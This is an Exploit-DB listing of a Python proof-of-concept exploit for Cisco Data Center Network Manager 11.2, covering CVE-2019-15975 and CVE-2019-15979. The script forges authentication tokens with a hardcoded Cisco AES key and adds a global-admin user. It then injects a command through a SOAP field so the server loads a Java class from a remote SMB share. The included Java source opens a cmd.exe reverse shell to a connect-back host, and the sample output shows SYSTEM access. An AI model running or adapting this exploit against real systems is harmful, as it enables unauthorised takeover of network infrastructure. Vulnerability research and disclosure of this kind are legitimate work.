Cisco Data Center Network Manager 11.2 – Remote Code Execution

  • 作者: mr_me
    日期: 2020-02-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48018/
  • #!/usr/bin/python
    """
    Cisco Data Center Network Manager SanWS importTS Command Injection Remote Code Execution Vulnerability
    
    Tested on: Cisco DCNM 11.2.1 Installer for Windows (64-bit)
    - Release: 11.2(1)
    - Release Date: 18-Jun-2019
    - FileName: dcnm-installer-x64-windows.11.2.1.exe.zip
    - Size: 1619.36 MB (1698022100 bytes)
    - MD5 Checksum: e50f8a6b2b3b014ec022fe40fabcb6d5
    
    Bug 1: CVE-2019-15975 / ZDI-20-003
    Bug 2: CVE-2019-15979 / ZDI-20-100
    
    Notes:
    ======
    
    Si.java needs to be compiled against Java 8 (the target used 1.8u201):
    
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.OutputStream;
    import java.net.Socket;
    
    public class Si {
    static{
    try {
    String host = "192.168.100.159";
    int port = 1337;
    String cmd = "cmd.exe";
    Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
    Socket s = new Socket(host,port);
    InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
    OutputStream po = p.getOutputStream(), so = s.getOutputStream();
    while(!s.isClosed()){
    while(pi.available()>0){
    so.write(pi.read());
    }
    while(pe.available()>0){
    so.write(pe.read());
    }
    while(si.available()>0){
    po.write(si.read());
    }
    so.flush();
    po.flush();
    Thread.sleep(50);
    try {
    p.exitValue();
    break;
    }catch (Exception e){}
    }
    p.destroy();
    s.close();
    }catch (IOException | InterruptedException e){ }
    }
    }
    
    Example:
    ========
    
    1. Modify the above Si.java to contain your connectback ip and port
    2. Compile the above Si.java class with Java 8 and store it in an attacker controlled share
    3. Launch the poc.py against your target using the share
    
    saturn:~ mr_me$ ./poc.py 
    (+) usage: ./poc.py <target> <connectback:port> <smbserver> <smbpath>
    (+) eg: ./poc.py 192.168.100.122 192.168.100.159:1337 vmware-host '\Shared Folders\tools'
    
    saturn:~ mr_me$ ./poc.py 192.168.100.122 192.168.100.159:1337 vmware-host '\Shared Folders\tools'
    (+) attempting auth bypass 1
    (+) bypassed auth! added a global admin hacker:Hacked123
    (+) attempting to load class from \\vmware-host\Shared Folders\tools\Si.class
    (+) starting handler on port 1337
    (+) connection from 192.168.100.122
    (+) pop thy shell!
    Microsoft Windows [Version 6.3.9600]
    (c) 2013 Microsoft Corporation. All rights reserved.
    
    C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>whoami
    whoami
    nt authority\system
    
    C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>
    """
    
    import re
    import os
    import sys
    import time
    import base64
    import socket
    import requests
    import calendar
    import telnetlib
    from uuid import uuid4
    from threading import Thread
    from Crypto.Cipher import AES
    from xml.etree import ElementTree
    from datetime import datetime, timedelta
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    class AESCipher:
    def __init__(self):
    
    # Cisco's hardcoded key
    self.key = "s91zEQmb305F!90a"
    self.bs = 16
    
    def _pad(self, s):
    return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs)
    
    def encrypt(self, raw):
    raw = self._pad(raw)
    iv = "\x00" * 0x10
    cipher = AES.new(self.key, AES.MODE_CBC, iv)
    return base64.b64encode(cipher.encrypt(raw))
    
    def make_raw_token(target):
    """ craft our token """
    key = "Source Incite"
    uuid = str(uuid4()).replace("-","")[0:20]
    time = leak_time(target)
    return "%s-%s-%s" % (key, uuid, time)
    
    def bypass_auth(target, token, usr, pwd):
    """ we use this primitive to fully bypass auth """
    global user_added_already
    d = {
    "userName" : usr,
    "password" : pwd,
    "roleName" : "global-admin"
    }
    h = { "afw-token" : token }
    uri = "https://%s/fm/fmrest/dbadmin/addUser" % target
    r = requests.post(uri, data=d, headers=h, verify=False)
    try:
    json = r.json()
    except ValueError:
    return False
    if json["resultMessage"] == "Success":
    user_added_already = False
    return True
    elif json["resultMessage"] == "User already exists.":
    user_added_already = True
    return True
    return False
    
    def leak_time(target):
    """ leak the time from the server (not really needed) """
    uri = "https://%s/" % target
    r = requests.get(uri, verify=False)
    r_time = datetime.strptime(r.headers['Date'][:-4], '%a, %d %b %Y %H:%M:%S')
    return calendar.timegm(r_time.timetuple())
    
    def gen_token(target, usr, pwd):
    """ this authenticates via the SOAP endpoint """
    soap_body= '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.jaxws.dcbu.cisco.com/">'
    soap_body += '\t<soapenv:Header/>'
    soap_body += '\t<soapenv:Body>'
    soap_body += '\t\t<ep:requestToken>'
    soap_body += '\t\t\t<username>%s</username>' % usr
    soap_body += '\t\t\t<password>%s</password>' % pwd
    soap_body += '\t\t\t<expiration>100000</expiration>'
    soap_body += '\t\t</ep:requestToken>'
    soap_body += '\t</soapenv:Body>'
    soap_body += '</soapenv:Envelope>'
    uri = "https://%s/LogonWSService/LogonWS" % target
    r = requests.post(uri, data=soap_body, verify=False)
    tree = ElementTree.fromstring(r.content)
    for elem in tree.iter():
    if elem.tag == "return":
    return elem.text
    return False
    
    def craft_soap_header(target, usr, pwd):
    """ this generates the soap header """
    soap_header= '\t<SOAP-ENV:Header xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
    soap_header += '<m:token xmlns:m="http://ep.jaxws.dcbu.cisco.com/">%s</m:token>' % gen_token(target, usr, pwd)
    soap_header += '\t</SOAP-ENV:Header>'
    return soap_header
    
    def load_remote_class(target, smb, usr, pwd):
    """ this triggers the cmdi """
    soap_body= '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">'
    soap_body += craft_soap_header(target, usr, pwd)
    soap_body += '\t<soapenv:Body>'
    soap_body += '\t\t<ep:importTS>'
    soap_body += '\t\t\t<certFile>" -providerclass Si -providerpath "%s</certFile>' % smb
    soap_body += '\t\t\t<serverIPAddress></serverIPAddress>'
    soap_body += '\t\t</ep:importTS>'
    soap_body += '\t</soapenv:Body>'
    soap_body += '</soapenv:Envelope>'
    uri = "https://%s/SanWSService/SanWS" % target
    r = requests.post(uri, data=soap_body, verify=False)
    tree = ElementTree.fromstring(r.content)
    for elem in tree.iter():
    if elem.tag == "resultMessage":
    if elem.text == "Success":
    return True
    return False
    
    def handler(lp):
    print "(+) starting handler on port %d" % lp
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lp))
    s.listen(1)
    conn, addr = s.accept()
    print"(+) connection from %s" % addr[0]
    t.sock = conn
    print "(+) pop thy shell!"
    t.interact()
    
    def exec_code(t, lp, s, usr, pwd):
    handlerthr = Thread(target=handler, args=(lp,))
    handlerthr.start()
    load_remote_class(t, s, usr, pwd)
    
    def main():
    usr = "hacker"
    pwd = "Hacked123"
    if len(sys.argv) != 5:
    print "(+) usage: %s <target> <connectback:port> <smbserver> <smbpath>" % sys.argv[0]
    print "(+) eg: %s 192.168.100.122 192.168.100.159:1337 vmware-host '\\Shared Folders\\tools'" % sys.argv[0]
    sys.exit(1)
    t = sys.argv[1]
    c = sys.argv[2]
    s = "\\\\%s%s" % (sys.argv[3], sys.argv[4])
    i = 0
    
    if not ":" in c:
    print "(+) using default connectback port 4444"
    ls = c
    lp = 4444
    else:
    if not c.split(":")[1].isdigit():
    print "(-) %s is not a port number!" % cb.split(":")[1]
    sys.exit(-1)
    ls = c.split(":")[0]
    lp = int(c.split(":")[1])
    
    # InheritableThreadLocal.childValue performs a 'shallow copy' and causes a small race condition
    while 1:
    i += 1
    print "(+) attempting auth bypass %d" % i
    raw = make_raw_token(t)
    cryptor = AESCipher()
    token = cryptor.encrypt(raw)
    if bypass_auth(t, token, usr, pwd):
    if not user_added_already:
    print "(+) bypassed auth! added a global admin %s:%s" % (usr, pwd)
    else:
    print "(+) we probably already bypassed auth! try the account %s:%s" % (usr, pwd)
    break
    sys.stdout.write('\x1b[1A')
    sys.stdout.write('\x1b[2K')
    
    # we have bypassed the authentication at this point
    print "(+) attempting to load class from %s\\Si.class" % s
    exec_code(t, lp, s, usr, pwd)
    
    if __name__ == "__main__":
    main()